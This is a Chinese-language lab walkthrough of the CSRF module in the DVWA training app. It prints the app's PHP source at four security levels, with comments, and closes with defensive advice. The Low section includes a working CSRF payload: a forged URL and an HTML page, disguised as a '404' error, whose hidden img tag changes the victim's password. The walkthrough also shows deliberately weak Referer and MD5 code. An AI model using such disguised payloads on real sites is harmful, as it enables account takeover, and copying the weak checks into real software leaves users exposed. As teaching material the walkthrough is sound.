0x01 CSRF
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
0x02 Low级别
可以构造恶意的url地址或者页面,都可以达到目的。
恶意的url地址:
http://ip/DVWA/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#
或者构造恶意页面,使用img标签
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="http://192.168.84.129/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">
<h1>404</h1>
<h2>file not found</h2>
</body>
</html>
注意:这里的html文件,必须是打开DVWA的浏览器。因为如果用户使用A浏览器访问站点,又使用B浏览器访问恶意页面,就不会触发漏洞。
代码如下:
<?php if( isset( $_GET[ 'Change' ] ) ) { // 获取用户的输入 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 确认两次输入的密码是否相同,相同就更新数据库内的信息 if( $pass_new == $pass_conf ) { // 以下两段代码都是防止SQL注入的 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 更新数据库内的信息,具体函数作用以及对代码的理解,在暴力破解那里我写过的,这里就不写了 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston
"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 修改成功,返回信息给用户 echo "<pre>Password Changed.</pre>"; } else { // 两次输入的密码不同,所以返回信息给用户 echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
0x03 Medium级别
代码如下:
<?php if( isset( $_GET[ 'Change' ] ) ) { // 检查请求来自何处。stripos函数用于查找字符串在另一字符串中第一次出现的位置(不区分大小写)。 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // 获取用户输入 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ) { // 下面的代码与Low级别差不多 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new
) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["
___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } } else { // 这里返回信息给用户是因为最开始的检查来源不正确 echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
0x04 High级别
代码如下:
大部分都和Low级别一样,high级别只是加入了token,但是这样能够防止大部分的CSRF利用。因为只有获取token才能进行CSRF,但是浏览器的跨域问题,不能直接获取,所以比较难以利用。但是如果服务器存在存储XSS可以获取token。然后可以构造url和代码进行CSRF利用。
<?php if( isset( $_GET[ 'Change' ] ) ) { // 检查token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_s
ton"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // 生成token generateSessionToken(); ?>
0x05 Impossible级别
代码如下:
<?php if( isset( $_GET[ 'Change' ] ) ) { // 检查token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 这里会要求用户输入旧密码,以及输入两次的新密码,这里就可以防止CSRF $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 这里是因为要通过数据库验证用户的旧密码,所以需要防止SQL注入 $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // 下面的代码是通过数据库验证旧密码的正确性 $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // 这里当两次新密码都相同且旧密码正确才会进行修改密码 if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // 将新密码进行一些过滤,避免SQL注入 $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 更新数据库 $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); echo "<pre>Password Changed.</pre>"; } else { // 两次输入的新密码不相同或者旧密码错误都会报错 echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // 生成token generateSessionToken(); ?>
0x06 总结
1.为了防止CSRF,可以加入Anti-CSRF,每次向客户端发送一个随机数,当客户端向服务端发送数据时,比对随机数以此来确定客户端身份。
2.获取当前用户的密码,以此判断是否是当前用户的操作,而非CSRF攻击。